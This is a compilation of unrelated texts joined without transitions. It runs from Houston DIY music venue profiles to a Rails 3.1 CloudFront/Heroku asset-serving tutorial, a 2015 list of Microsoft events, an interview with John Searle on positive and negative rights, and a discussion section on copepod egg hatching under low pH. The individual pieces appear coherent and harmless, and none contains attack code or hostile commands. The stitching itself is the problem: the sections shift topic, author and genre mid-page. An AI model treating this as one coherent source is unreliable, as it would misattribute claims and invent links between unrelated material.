The Supaks, who live in nearby Eastwood, say the property values in their neighborhood have already risen so much that many of their bohemian friends can no longer afford to live there. But they’re hopeful that many of the area’s even newer residents will be looking for somewhere they can spend an evening dancing with friends in a warm, homey environment. Early signs have been encouraging.
“Even these condo dwellers are driving over and saying they’re happy we’re opening,” Supak says, motioning down the street. “They start telling me, ‘Oh, are you going to do any trip hop? Because I love Portishead.’ Their touchstone always seems to be the ’90s.” — Chris Gray
L-R: Black Barbie’s Beth Howl and Lou Miller have created a sanctuary for local music from the riskier end of the spectrum, from hardcore and industrial to death-rock and coldwave.
Black Barbie
3621 Canal
From the outside, Black Barbie retains the trappings of its former life as a taqueria, camouflaged in a quiet residential barrio that has so far survived the first flood of gentrification. If you arrive early enough, you can find a space in the small parking lot; otherwise, you’ll be parked half in the ditch streetside. Inside, however, the walls are painted black, and a silvery booth with a modular light-and-sound installation blinks wildly by the bar as a large, sweet-natured dog sniffs around the punks and goths making nice.
Black Barbie, where bands from the riskier side of the spectrum make a ruckus, is Eastside, not EaDo. It’s already at home in a part of the city with its pinkie in the eye of Houston’s business-as-usual, every-bar-should-be-a-sports-bar, anti-music agenda.
The venue was founded by Lou Miller and Will Harrison, both of enigmatic space-rock band Auto-Fellatio Dreams, when they grew tired of what they saw as “traditional networking…ass-kissing or scripted conversations.” They envisioned Black Barbie as “a place where alternative musical ideas can blossom,” according to Miller.
In a little more than a year, Black Barbie has quickly become a crucial Houston venue, home to the kind of shows and events that struggle to find a place in more uptight and commercially oriented clubs. It picked up the slack following the abrupt closure of Mango’s, while also expanding its repertoire with help from local promoters like Juan Carlos Newton, Jaron Sayers, Herber Quattro, David Rosales and JJ Foster.
Punk, noise, hardcore, coldwave, techno, industrial, death-rock and psych all have a home here. Black Barbie has hosted festivals and events like Bad Ass Weekend and Free Press Houston’s Holiday Ball, and is working on its own two-day fest in March. Currently dubbed “Retro Death 1,” it will feature all Texas artists from the industrial/noise, hardcore/pogo and post-punk/synth scenes.
The name itself is just a piece of “evil retro, to be exact,” according to Miller. “It originally came up as a name Will came up with when we were brainstorming new band names.”
Here you find the bands who define the dirtier side of music on both local and national levels: Cop Warmth, Alimanas, Dress Code, the Snooty Garbagemen, Wiccans, Turbokrieg, Gerritt, Profligate, B L A C K I E, Licker, Pleather, Millennial Grave, Street Sects, Pfaffenberg, Mojave Red, the Wiggins, Burnt Skull, Auto-Fellatio Dreams and the suddenly ubiquitous AK’Chamel.
Not only does Black Barbie feel hidden and out of the way, it feels like a venue out of time. It’s a particular kind of environment — sparsely advertised and completely DIY; you have to be on the lookout for it. With that also comes a seedy glamour. An undeclared but palpable street-trash aesthetic prevails: everything black, leather and denim, with well-chosen punk and space-rock on the PA between bands. At the same time, however, the owners maintain an open-minded approach to their role in Houston music.
“It’s not a trap house or clubhouse of any kind,” says Miller. “We would give anyone a shot if they had an idea for a show. It’s nice to have a place…for people who are trying to get into production and promotion.”
Black Barbie has the good sense to keep it simple. Miller and new partner Beth Howl book the shows, run the sound, staff the door and keep the lights on, all with the help of other friends. There are no unfortunate branding or corporate promotions, no widescreen TV and no cute attempts at curation. And because of this simplicity, the low overhead, the skeleton crew, and the active participation of a dynamic community of bands, promoters and showgoers, Black Barbie may have a shot at keeping it going despite the dire economics and exhausting timetable endemic to running a small music venue.
When asked about the prospects for sustaining Black Barbie into the future, at a time when similar venues seem to pop up and shut down overnight, Miller is optimistic.
“We’re dedicated to this and we’re definitely not backing down, because of its importance to us and Houston,” he says. “Plus, our landlady is super-nice and the neighborhood is great, very accepting of our progress.” — Tex Kerschen
Houston alt-pop trio Vanilla Sugar performs during a recent show at Eastdown Warehouse.
Eastdown Warehouse
850 McKee
Last December, Eastdown Warehouse hosted an event called Winterfest. The music festival began on a Friday afternoon and ran into the early morning hours. By the time it was done, two dozen bands had played the venue’s spacious indoor stage or one of two modest, makeshift outdoor ones. The headliner was Paul Wall, one of Houston music’s most notable success stories.
That show is just one of many we’ve attended at the space, located in the vicinity of old-guard mainstay Last Concert Cafe and the more recently successful House of Creeps. In a span of about 12 hours, Winterfest showcased its host venue’s strengths and appeal, some of which are noticeable immediately.
First, the room is huge. Even when it approaches capacity, as it did that night or, more recently, at last month’s second-anniversary shindig featuring Los Skarnales and Archie Bell, there’s plenty of elbow room. After all, the “warehouse” isn’t just a colloquialism — the venue sprung to life from a former incarnation as a mattress storage facility.
There have been obvious upgrades since those days of back-order slips and delivery trucks. Eastdown’s interior is sleek with black decor, including oversize booths and tables at the rear of the main showroom. The sound system was recently upgraded, too.
If ample real estate and hip makeovers were the true driving elements of a successful music venue, Eastdown would have a leg up on many. But what matters more often than not are the people who run the place, and their knowledge of Houston and its music community.
“The staff at Eastdown is very friendly, laid-back and easy to work with,” show promoter Jennifer Lunn told us back in 2013. “Everyone appears to be very knowledgeable about what they’re doing.”
That staff has proven to be one of the less obvious but most critical keys to Eastdown’s rise. Adam Rodriguez, with a booking-agent background that has helped him bring in international acts (Sister Nancy, The Vibrators) as well as regional stars like Girl In a Coma’s Nina Diaz, manages the venue. Rodriguez shares the booking opportunities with his staff, who all do additional duties like tending bar, monitoring the parking lot and cleaning restrooms.
Staffer Mike Schoolcraft, a promoter, visual artist and musician, has staged festivals and shows at the venue, bringing underground cult fave Cancerslug. 30footFALL guitarist Chris LaForge works there, and has put together shows that allow the room’s considerable space to be used for mosh and circle pits; most recently, bodies were flying at a show featuring Dying Scene and locals Some Nerve. Rodriguez’s brother Isaac is Eastdown’s house DJ — DJ Simmer Down — and has used bonds he’s built as a musician here to bring favorites like Nick Gaitan and Fuska to the venue.
Eastdown’s staff also know local promoters who favor the venue’s roominess for events heavy on food and art vendors as well as music. Masterpiece Motives brought in Fat Tony and Beaumont rockers Purple for its Bayou City Bonanza this summer, as well as a host of food trucks and artists. Visionary Noise staged Winterfest, and has booked Eastdown for its popular For The Community festivals that have brought in exciting young bands like Empty Vessels and Austin’s Wonderbitch.
But the acts who benefit the most at Eastdown are the locals, of course. It books shows on most nights of the week, which means more chances for area bands to gig and, subsequently, more music for music lovers to hear. No genre is excluded from the mix, it seems, which was evident that one Friday night last December. From several rap acts to nuanced acoustic artists like Lion Among Men to party-starters like Gio Chamba and the polished indie-pop of Another Run, there was something for all sorts of music fans.
That’s the story of Eastdown Warehouse — not just on a single night, but all around the calendar year. — Jesse Sendejas Jr.
Although the SafeHouse can be difficult to find from the street, proprietor Marc T. Lishewski has made sure his guests know exactly where they are once inside.
The SafeHouse
Near Walker & Saint Charles
It’s not the easiest place to find — especially after dark. But if you head east on Walker, past the bright marquee of Warehouse Live, beyond BBVA Compass Stadium and farther still past Francisco Studios, the city blocks get quiet in a hurry. Only when you’re alone on these silent streets in the Warehouse District can you begin to hear the telltale rumble of bass. Look around: Are there any helpful signs about? Maybe a secure-looking parking lot? No? Then you may have just stumbled upon the SafeHouse.
The SafeHouse is a DIY music and events space in a very old, rather small warehouse on Saint Charles. The joint is leased and operated by one guy, Marc T. Lishewski, who just stumbled onto the place himself earlier this year. A Lufkin native, Lishewski moved to Houston five years ago to attend the Hilton College of Hotel and Restaurant Management at UH. Like any good college kid with a talent for hospitality, he kept an eye out for living arrangements that might allow him to get creative with his parties. About seven months ago, he found what he was looking for.
“I stumbled upon a sign on the side of the building in Sharpie,” Lishewski says. “My first idea was not, ‘Hey, I’m going to make a music venue.’ I was going to live there. I was going to live in the front room and slowly kind of renovate it and piece it together into sort of like a Brooklyn loft or flat.”
Once he started removing the junk from the place and giving everything its first power wash in about a century, though, Lishewski’s ideas got bigger. What if he turned the spot into a modern-day speakeasy? Outside, it wouldn’t look like much, with no sign or marquee or anything — and even once you’d secured entry, you’d find yourself escorted into what appeared to be a small studio apartment, with a bed and a few sticks of furniture. Then the back door would open and, all of a sudden, you’d be transported into 2,000 square feet of vintage warehouse space with funky lighting and a stage built out of pallets.
The music would be loud, but not too loud — and you’d find yourself in the middle of one of the coolest house parties you’ve ever seen. That was the initial idea behind the SafeHouse, and it’s exactly what the SafeHouse has become.
“The idea was to kind of savor the speakeasy vibe of the place,” says Lishewski, who named the spot after a massive safe he found in the back. “It’s strange every time: I’ve had thousands of people walk through my bedroom. The way the first event went was pretty perfect. The sense of discovery that everybody had on their faces? That was the whole point of the place: to stumble upon something awesome. You don’t often get that feeling in this city, or at least I haven’t.”
Since April, the SafeHouse has hosted ten events, with local musicians and artists setting up shop at each one. It’s become one of the coolest, most mysterious spots in town to catch hip-hop luminaries like Roosh Williams, Devin the Dude and Fat Tony, and Lishewski says he has plans to possibly branch out into hosting pop-up dinners with some of the city’s top chefs. He says he’s in talks with the owner of the space to do some re-platting and permitting in a move toward legitimizing the place.
In the meantime, Lishewski says he isn’t wasting time on too much planning. Hosting cool get-togethers where art and music abound is his primary mission. So expect to enjoy more secretive events and mysterious gatherings — assuming you find yourself on the list.
“There’s no long-term directive with the SafeHouse,” Lishewski says. “I just want to do stuff like this all over the world for the rest of my life. I don’t know what, exactly, but I want to create experiences. I just want to keep having distinctly different gatherings here with distinctly different people.” — Nathan Smith
Mario Rodriguez has no trouble toggling from member of Tax the Wolf and Bang Bangz to driving force behind his budding Wonky Power empire.
Wonky Power Live
3534 Navigation Blvd.
In August of last year, Mario Rodriguez walked back to his truck and saw the damage, an all-too-familiar situation for many Houstonians. The feelings of rage and helplessness that come on after your car is broken into cut deep and linger. In most cases, the stolen items can be replaced, and we learn to live with the inconvenience. But Rodriguez lost a laptop and hard drives that held hours, possibly years, of work, including full albums of which there were no backups. Broken glass, broken heart.
Yes, this was a setback, but it was necessary for him to push forward for the sake of his musical family, which now proudly bears the moniker Wonky Power Records. The label includes a roster of artists making eclectic, enjoyable music, from digital cumbia to spacey electronic rock, psychedelic sounds and funky rhythms. Overall, the crew is dynamic, imaginative and supremely creative. Theirs is a different vibe; not exactly hippie, but open-minded. Familiar. Open for growth and development. Supportive, with only positive attitudes.
Friends and family gave Rodriguez the nickname “Wonky” when he was a skinny Chavez High School kid because of his strange and “far-out” ideas. Adding the “Power” reflects his independent and curious nature. Today he is good karma personified, which carries over into his music and seemingly endless ideas and projects. As a member of Tax the Wolf and Bang Bangz, Rodriguez has always portrayed himself as focused, determined and resolute.
Rodriguez and his family grew up in Magnolia Park, near the Houston Ship Channel. They lived in a modest house, which included the room he shared with his four siblings. He has fond memories of growing up there, with weekly trips to La Victoria Panaderia and hours spent listening to his parents’ records. His brother Gustavo first brought home an acoustic guitar to impress his friends, and Mario would secretly practice on it until his fingers were numb. He would later befriend Adrian Graniel and Alan Garza, who went on to establish Tax the Wolf.
Venues such as White Swan and Walters on Washington really stimulated Rodriguez’s musical appetite, as he hoped for the day his band would be onstage rocking for an appreciative crowd. The excitement of creating drove him toward success, along with being a part of a community that supported the music scene’s growth and development. His sense of loyalty and essential need to help others would eventually evolve into the Wonky Power umbrella, which includes the record label that will release its first compilation — featuring local artists like Gio Chamba, George West, Bang Bangz and, of course, Tax the Wolf — on November 14.
Rodriguez’s headquarters, known as Wonky Power Live, was once a mechanic’s shop. His landlord is Isaac Cohen, a creative master himself known for his work with the Art Car Parade and his wood sculptures. Upon hearing Rodriguez’s plans for the space, Cohen excitedly provided his support.
Mario and his team built out the space almost from scratch, setting the venue up for future musical performances, online broadcasts and networking events. The lot once filled with old cars now includes a stage and a recording studio; Rodriguez is poised to expand into the building next door, which recently housed the short-lived alternative-music venue dubbed the Summit. Although he admits the rent seems like a mountainous obstacle, Rodriguez and his business partners are optimistic they can make things work. Once completed, Wonky Power Live will include a handful of rehearsal spaces, a larger studio and a proper stage for live music and events.
Mario didn’t specifically plan to return to his old neighborhood, but he now regards it as fate. This is where life started for him, and this is where it will continue. He does what he does in order to foster excitement for the city and create special memories through music. As he continues to grow, he extends his hand for others to grow with him. Fun and interesting things are happening, both at Wonky Power Live and all over the Eastside. — Marco Torres
With these facts you might realize that you want to put your compiled assets on a content delivery network like Amazon’s CloudFront so the assets can be served fast and your dynos don’t have to be bothered with serving and compiling assets.
How do we solve this in a good way?
First create a new CloudFront distribution. A great thing with CloudFront is that you can set any domain as the source for the distribution. You do this for your Heroku hosted app by specifying the apps domain as the ”Custom Origin” when creating a new distribution. With this set CloudFront don’t need a S3 bucket, instead it will mirror the assets from the custom origin domain. When the distribution gets a request for a file that it don’t have mirrored yet it will just issue the same request to your app, cache the result and return it. This also makes it possible to serve gzipped versions of your assets as CloudFront forwards the clients request headers and rack can serve gzipped versions of your assets if the client supports it (more on this further down).
Add the new distribution’s domain name (or CNAME if you specifed one) as the the asset host for your app in production environment:
# config/environments/production.rb . . config . action_controller . asset_host = "http://aabbccdd.cloudfront.net" . .
This will make rails add the specified asset host to the generated url when you use stylesheet_link_tag or similair helpers in production. For example if you do
<%= stylesheet_link_tag 'application' %>
you will get
<link href="http://aabbccdd.cloudfront.net/assets/application-388a2a900c29a176d20c18ed000f77fa.css" media="screen" rel="stylesheet" type="text/css" />
Great, but we are not quite done yet because Heroku will automatically run the rake task to compile the assets when your app is deployed. This is a problem because if the files that CloudFront requests exists on disk then they will not be served from your rails app but from the disk, so we won’t get the correct cache headers and we won’t be able to serve gzipped versions of the assets.
What we need to do
1. Disable the assets precompile rake task
There is two ways to do this. By overriding the assets:precompile rake task:
# lib/tasks/disable_assets_precompile.rake Rake :: Task [ 'assets:precompile' ]. clear namespace :assets do task :precompile do puts '* rake assets:precompile has been disabled (lib/tasks/disable_precompile.rake)' end end
You can also add a empty file called public/assets/manifest.yml to your project, if Heroku detects this file it will not run the assets:precompile task on deploy. Both these ways are kind if hackish, so choose the one that suits you best.
2. Enable on-the-fly asset compiling in production
As we now need to serve the assets through the rails stack when CloudFront makes it’s first requests we need to enable asset compiling in the production environment, this is done by setting config.assets.compile to true in your production settings:
# config/environments/production.rb . . config . assets . compile = true . .
3. Enable serving of gzipped content
As Heroku has removed nginx from the cedar stack we have to do the gzipping by ourselves, this is done by adding a rack middleware called Rack::Deflater. It’s part of Rack core so it’s really easy to add, just update your config.ru file in the root of your rails project to look like this:
require :: File . expand_path ( '../config/environment' , __FILE__ ) use Rack :: Deflater run MySuperApp :: Application
Done, deploy your app and celebrate with beer. With this setup you get a geo-aware, fast and cachable way to serve your Rails 3.1 assets.
What's interesting this year is there are fewer shows on my list, primarily because Microsoft has consolidated a number of its events, including TechEd, the Microsoft Management Summit and the Exchange, SharePoint, Lync and Project conferences, into a single event called Ignite.
It's also worth pointing out that Microsoft increasingly has been moving away from timing its product and strategy news to release during big industry mega-events. Microsoft has a very minimal presence at CES this year -- so minimal, I didn't even put CES on this year's list. Instead, the Softies increasingly are using their own orchestrated events to unveil new products and technologies. (See the upcoming January 21 Windows 10 day as just one example.)
Here's what's on the list, so far, for this year:
January 21: Windows 10: The next chapter (Redmond, Wash.) Invitation only event for press, analysts, but morning keynote will be live streamed.
February 3-5: TechDays Online 2015 (Reading, UK) Streamed, free event with tracks for developers, IT pros and more. Shameless plug: I'm keynoting this year on Feb. 3.
March 2-5: Mobile World Congress 2015 (Barcelona) Will we see any new flagship Windows Phones here (from Microsoft or other WP OEMs)? Got me, but hope so.
March 2-6: Game Developers Conference 2015 (San Francisco) Maybe we'll hear more about how Windows 10 fits in with Xbox One?
March 16-19: Convergence 2015 (Atlanta) Microsoft's Dynamics showcase for customers, partners. It's all about CRM/ERP.
March 18-19: WinHEC (Shenzhen, China) WinHEC, Microsoft's Windows hardware engineering conference, makes a comeback after a seven year absence. (Note: This is an invitation-only show.)
April 29-May 1: Build 2015 (San Francisco) Windows 10, Windows 10, Windows 10! Probably a bit too early for RTM, but no doubt lots of good Windows 10 info (and maybe new preview builds).
May 4-8: Microsoft Ignite (Chicago) Ignite replaces and brings under a single umbrella a number of Microsoft conferences including TechEd, the Microsoft Management Summit, the Exchange, SharePoint, Lync and Project conferences. Lots of big-name Microsoft execs are on the speakers list.
June 2-6: Computex 2015 (Taipei). Another OEM/device showcase.
June 16-18: E3 (Los Angeles). Games galore -- perhaps for both PCs and Xbox. And maybe the debut of that rumored Microsoft gaming helmet, a k a "Project B."
July 12-16: Worldwide Partner Conference 2015 (Orlando) Microsoft's annual show for its partners usually features some interesting product and strategy announcements.
Some time in Q3 2015: Windows 10, Office 16 launch(es) Remember, launch doesn't coincide with release to manufacturing, which -- at least for Windows 10 -- could still occur around late spring/early summer if the tipsters are right. The launch will likely be an orchestrated marketing event.
September 4-9: IFA 2015 (Berlin) Another consumer electronics show w. PC/device showcase
October 27-30: SQL PASS Summit 2015 (Seattle). Some Microsoft data platform/database announcements typically happen here.
Before anyone asks, I don't know when Build registration opens; I'd think it should be soon.
Update (January 13): Microsoft Build 2015 registration opens at 9 a.m. PT on January 22.
And as to whether there will be some kind of TechEd Europe replacement this year (other than Ignite in Chicago), I do not know, but have heard a non-virtual show is looking unlikely.
Tim Crane: In our discussion earlier today, you talked about questions of rights and freedom. This is a bit of a new departure for you, isn’t it?
John Searle: I have never written much about political rights and political power. But if you have a theory of social ontology it ought to have implications in other areas of social philosophy concerning other issues. Social ontology is a beautiful subject by the way. We all live with money and private property, and universities, and governments, and summer vacations: What’s their ontology? How do they exist? How can there be an objective fact that this piece of paper is money, but it’s only money in virtue of our subjective opinions? That’s a big question I have tried to answer. And I think my theory of social ontology has important implications for political philosophy. One is on the notion of human rights, universal human rights.
Are you skeptical of the idea of universal human rights?
No, I’m not skeptical about the idea of universal human rights. I’m skeptical about what I call positive rights. You see, if you look at the logical structure of rights, every right implies an obligation on someone else’s part. A right is always a right against somebody. If I have a right to park my car in your driveway, then you have an obligation not to interfere with my parking my car in your driveway. Now the idea of universal human rights is a remarkable idea because if there are such things, then all human beings are under an obligation to do—what? Well, I want to say that with things like the right to free speech it just means not to interfere. It’s a negative right. My right to free speech means I have a right to exercise my free speech without being interfered with. And that means that other people are under an obligation not to interfere with me.
Now, when I look at the literature, I discover that there is a tradition going back to the UN Universal Declaration of Human Rights, where not all of the rights listed are negative rights like the right to free speech, or the right to freedom of religion, or the right to freedom of association, I think all those negative rights are perfectly legitimate. But there are supposed to be such rights as “every human being has a right to adequate housing.” Now I don’t think that can be made into a meaningful claim.
The claim that “every human being has a right to seek adequate housing,” or that there are particular jurisdictions where the British government, or the government of the State of California, can decide “we’re going to guarantee or give that right to all of our citizens”—that seems to me OK. But the idea that every human being, just in virtue of being a human being, has a right to adequate housing in a way that would impose an obligation on every other human being to provide that housing, that seems to me nonsense. So I say that you can make a good case for universal human rights of a negative kind, but that you cannot make the comparable case for universal human rights of a positive kind.
Now I come up with one counter-example. One exception to that is that it does seem to me where life and safety themselves are concerned, we’re all under an obligation, where we can, to help people whose life is threatened. If someone has been hit by a car, he has a right to expect that he will receive assistance from us, and we have an obligation to afford him assistance. And the reason that’s an exception is that a condition of anything else in life is that you have rights of survival. But in general, I think it’s a big mistake in contemporary political thinking to suppose that there is a list, an inventory, of universal human rights of a positive kind. I don’t think I can make sense of this.
Have you ever been interested in getting involved with politics yourself?
It’s funny you should ask that. There was a period when I first went back to California when I was fairly active in the Democratic Party, and then was very active in the Free Speech Movement, but it’s not as intellectually satisfying as an academic career. You do have the satisfaction that you get involved in decisions that make a difference in a way that most philosophical arguments don’t. And in fact, during the Vietnam War, a friend of mine who was a high official with the State Department invited me to come and serve on the State Department policy planning staff where they plan American policy. And I said, “Not during the war.” I was so opposed to the war that I absolutely refused to do anything that would even seem to be lending tacit support to the war. So I didn’t do it and I have seldom been active in public affairs since.
It’s a choice you have to make, especially in the United States. I think it’s possible to combine a political career with an academic, philosophical career. But the cases of people who’ve done it have not been very inspiring to me.
Coming back to the question of rights, since every right requires a corresponding obligation, does it follow from your view that animals don’t have rights, since they have no obligations?
Most rights have to do with specific institutions. As a professor in Berkeley I have certain rights, and certain obligations. But the idea of universal rights—that you have certain rights just in virtue of being a human being—is a fantastic idea. And I think, Why not extend the idea of universal rights to conscious animals? Just in virtue of being a conscious animal, you have certain rights. The fact that animals cannot undertake obligations does not imply that they cannot have rights against us who do have obligations. Babies have rights even before they are able to undertake obligations.
Now I have to make a confession. I try not to think about animal rights because I fear I’d have to become a vegetarian if I worked it out consistently. But I think there is a very good case to be made for saying that if you grant the validity of universal human rights, then it looks like it would be some kind of special pleading if you said there’s no such thing as universal animal rights. I think there are animal rights.
Why does that mean they have rights?
For every right there’s an obligation. We’re under an obligation to treat animals as we arrogantly say, “humanely.” And I think that’s right. I think we are under an obligation to treat animals humanely. The sort of obligation is the sort that typically goes with rights. Animals have a right against us to be treated humanely. Now whether or not this gives us a right to slaughter animals for the sake of eating them, well, I’ve been eating them for so long that I’ve come to take it for granted. But I’m not sure that I could justify it if I was forced to. I once argued this with Bernard Williams. Bernard thought that it was absolutely preposterous for me to think that a consideration of animal rights would forbid carnivorous eating habits. I’m not so sure if Bernard was right about it.
Interesting you mentioned Bernard Williams. He was, of course, one of the great philosophers of the second half of the twentieth century, and he was also someone who had interests in political life.
Yes. Well, Bernard was a very good friend of mine. He had an enormous influence on me of the kind that would be hard to describe because it was mostly just admiration for his sheer intellectual abilities. I think Bernard was as intelligent as any human being I’ve ever met. He had a kind of quickness which was stunning. Now one consequence of that is there’s a sense in which people who knew him well, or at least in my case, we always feel the published work is not up to the level of the Bernard we remember. Yes, it’s wonderful and admirable, the published work, but the particular fire and light that came from discussions with Bernard are lost on the printed page…. And one of the reasons for that is he had all this other stuff going on. He was always on some royal commission, or dining in Buckingham Palace. And this is one of the reasons I tried very hard to get him a job in Berkeley. I thought if he was in Berkeley, away from the distractions of London, he might sit down and do really great philosophy. And he did great things in Berkeley, but then he turned around and went back to Oxford, and back to his old ways.
Some people describe him as a skeptical philosopher, or reactive in the sense that he would just be able to see all the flaws in every position, and this made him somewhat pessimistic.
He could see instantly the flaws in arguments, including his own. This was the fatal element: that Bernard could see the limitations of philosophical theories, but they led to him seeing the limitations of his own theories, and that was partly debilitating. But there’s another sense in which he never really was part of mainstream philosophy. You see, Oxford had this wonderfully exciting period where it was all about language, and we thought we were going to get an understanding of language which would enable us to solve a lot of philosophical problems. Bernard was always very skeptical about that. He always stood outside the mainstream. He wasn’t just a brilliant philosopher, but he was actually a brilliant classical scholar. Bernard had a kind of historicist conception of philosophy which is profoundly out of sync with mainstream philosophy of the past hundred years.
What do you think about this kind of historicism? Is that something that was ever attractive to you?
Well, not me, I think partly because I’m too lazy to read all those works. I mean the thought of reading, let’s say, the collected work of Hegel, I just—I mean—I find it too daunting. I think it is wonderful if you get obsessed with certain classic texts. For example, I became totally obsessed with Kant’s Critique of Pure Reason and wrote a summary of the whole damn book. My idea was that somebody ought to sit down and rewrite it the way a contemporary philosopher would do since we have tools and knowledge that Kant didn’t have. My first task was to write a summary of the whole book and I did. It’s very useful. But it’s not my life, it’s not my career. I don’t have the patience. I’m more obsessed with the immediate problems that bother me, and there’s a sense in which Kant’s problems are not my problems. I mean, if you think that you can never perceive the thing in itself, and yet you can perceive representations that give you a kind of objectivity, then you have a problematic that I don’t have. You have a set of conceptions of philosophy and epistemology that are really totally foreign to my way of thinking.
You started your career at one of the high points of English-speaking, analytic, Anglophone philosophy. What’s your view of the state of philosophy at the moment?
I think it’s in terrible shape! What has happened in the subject I started out with, the philosophy of language, is that, roughly speaking, formal modeling has replaced insight.
Any account of the philosophy of language ought to stick as closely as possible to the psychology of actual human speakers and hearers. And that doesn’t happen now. What happens now is that many philosophers aim to build a formal model where they can map a puzzling element of language onto it, and people think that gives you an insight. I mean a most famous current example of this is the idea that you will explain counterfactuals—for example, if I had dropped this pen, it would have fallen to the ground—by appealing to possible worlds. And then you have a whole load of technical stuff about how to describe the possible worlds. Well I won’t say that’s a waste of time because very intelligent people do it, but I don’t think it gives us insight. It’s as if I said: Well the way to understand the sentence, “All ravens are black,” is that what it really means is that all non-black things are non-ravens. You can get a mapping of one sentence onto other sentences where each side has the same truth conditions. But that is not, in general, the right way to understand the sense of the original sentence. And it’s a philosophical question of why you don’t get the insight.
And this is pervading other areas of philosophy. Formal epistemology seems to me so boring. I’m sure there’s some merit in it, but it puts me to sleep…. They’ve lost sight of the questions.
What advice would you give to a young philosopher starting out to not lose sight of the questions?
Well, my advice would be to take questions that genuinely worry you. Take questions that really keep you awake at night, and work on them with passion. I think what we try to do is bully the graduate students. The graduate students suffer worse than the undergraduates. We bully the graduate students into thinking that they have to accept our conception of what is a legitimate philosophical problem, so very few of them come with their own philosophical problems. They get an inventory of problems that they get from their professors. My bet would be to follow your own passion. That would be my advice. That’s what I did.
Our results indicate that C. finmarchicus HS is, however, affected by pH when eggs are incubated at a temperature close to its upper habitat range. The pH at which significant detrimental effects occur at 14–15 °C is < 7.1 (Fig. 4b), well below predictions of surface layer change over the next century. In our experiment, we allowed 48 h for development of eggs to hatching at 14–15 °C under the assumption that eggs would not hatch beyond this point; we did not test a possibility of further delayed hatching. However, at pH 6.6 there was no significant difference with HS of the control group. The experiment with the pH 6.6 group was conducted using eggs from females that were well-fed for several days in the laboratory prior to the start of the experiment. Here, we examine sources of error and uncertainty in our experiments to provide insight into the interpretation of these results and the discrepancy with the finding of Mayor et al. (2007) identified above.
As evident from inspection of the replicate data provided in Online Resource 1, there is often a high variability among replicates in a single tank. Since each replicate hatching dish started with 30 eggs, some variability would be introduced if the original number of eggs were miscounted or if the successfully hatched nauplii were missed in the final microscopic examination perhaps because they might have been caught in the mesh on the dish cover and removed when the dish was opened. Given an uncertainty in the counts of ± 1 egg or nauplii, this would result in an uncertainty in the HS of about ± 3%. Also, high within-replicate variability may have supported a type II error, notably related to the mean control for Experiment 10 (Fig. 3). This experiment was excluded from the two-way ANOVA comparing the HS means from most of the experiments (Fig. 4) because it was the only mean that was significantly different from the other control groups (Fig. 3).
In our experimental method, eggs were placed immediately from pretreatment temperatures of 5–7 °C and natural pH into water that, for treatments, had a lower pH and/or higher temperature. We note that the eggs were not exposed to the natural sea water conditions in which their mothers were found. In some respects, this method replicates the temperature changes experienced by females migrating from cold, deep water to surface waters to lay eggs (Runge 1985), and a similar method has been used in studies of HS by Mayor et al. (2012) and Pedersen et al. (2014a). In any event, the consequence may have elicited a shock of transition from one set of conditions to another, presumably resulting in lower egg viability. However, since we did not observe reduced HS in treatments at 6 °C, nor consistently in low pH treatments at 15 °C, there is no evidence that any shock of transition influenced egg viability. In support of this conclusion, Pederson et al. (2014b) did not find any effect of CO 2 exposure history on HS in a fully crossed transfer experiment. On the other hand, eggs for experiments at all temperatures were initially released into 6 °C seawater at ambient control pH. While the time between egg release and placement in treatment conditions may have been as short as 1 h, we estimate that the average time between egg release and the start of the experiment was 12 h, or approximately 20% of egg duration at 6 °C. The experiment, therefore, does not assess the effect of treatments during formation of membranes immediately after internal fertilization and extrusion and during the first several egg development stages (described in Marshall and Orr 1972); the underlying assumption in our experiments was that exposure of eggs to pH and temperature treatment conditions for several hours at least would be sufficient to show detrimental effects on egg development and subsequent HS. In studies where eggs were released and incubated in the same pH treatment, no effect on HS of pH as low as 7.15 was observed (Pedersen et al. 2014b), consistent with our results, but HS was severely impeded at a pH of 6.95 (Mayor et al. 2007). While we cannot definitely rule out a type II error if our underlying assumption is not correct, the weight of evidence (from other studies and the finding of significant differences in some experiments and not others: Fig. 4) points to alternate explanations. In particular, our results are consistent with the hypothesis that maternal conditions influence the susceptibility of eggs to extreme pH and/or temperature conditions.
There is evidence that parental environmental history, including the possibility of maternal provisioning of eggs, influences the capability of copepod eggs to withstand low pH and higher temperature conditions (Vehmaa et al. 2012; Mayor et al. 2012; Cripps et al. 2014a, b). Vehmaa et al. (2012) hypothesized that provisioning of Acartia bilosa eggs when feeding conditions are optimal may mitigate effects of low pH compared to eggs produced during limiting food conditions. Cripps et al. (2014a) reported that HS of eggs from well-fed Acartia tonsa females pre-exposed to treatment conditions of pH 7.4 and 7.15 was not significantly different from ambient controls, whereas HS was significantly lower in eggs from females that were not pre-exposed or that were fertilized from pre-exposed males. Mayor et al. (2012) could not exclude the possibility that maternal nutritional history of females influenced HS in their experiments of temperature and pH effects on C. finmarchicus eggs. In our experiments, the experiment showing significant effects of pH at 6.8 at 15 °C was based on eggs released from females directly after capture (Online Resource 1), therefore dependent on natural environmental conditions, whereas the absence of effect on HS at pH 6.6 at 15 °C, as well as at pH 6.6 and 6.9 at 6 °C, were based on females that had been fed in excess food in the laboratory prior to the start of the experiment. The lower HS at pH 7.2 and 7.5 (Fig. 4b), while not significant under the Bonferroni correction, also represents field-collected eggs, whereas the higher HS at pH 7.1 and 7.3 represent eggs from laboratory fed females. While the egg production from females spawning immediately after capture was substantial, suggesting good nutritional history in their environment, the differences in HS response to pH between naturally and lab provisioned eggs are consistent with the hypothesis that maternal effects are a factor in determining the sensitivity of eggs to pH at high temperature. We note that females producing eggs were food limited in the study by Mayor et al. (2007), in support of this argument. However, the females in the study by Pedersen et al. (2014b), showed no effect on HS of eggs spawned by males and females exposed to a pH as low as 7.15, were also food limited. Therefore, the possible role of maternal effects in mitigating temperature–pH interaction in C. finmarchicus egg HS remains unresolved.
We also cannot rule out the possibility that acclimation to temperature and pH may have increased resistance of their eggs to lower pH. Surface temperature at time of collection for experiments (12 and 13) using laboratory fed females shown in Fig. 4b was relatively high, allowing the possibility that acclimatization to higher environment temperature has an influence. Moreover, while the initial pH in our experimental controls ranged from 7.89 to 8.03 (Online Resource 2), without any consistent difference between incubation water collected from the coastal ocean (CMTS) and the Damariscotta Estuary (Darling Marine Center flowing seawater system), we did not measure pH in the Damariscotta Estuary seawater used to maintain females in abundant food for 1–3 weeks prior to experiments.
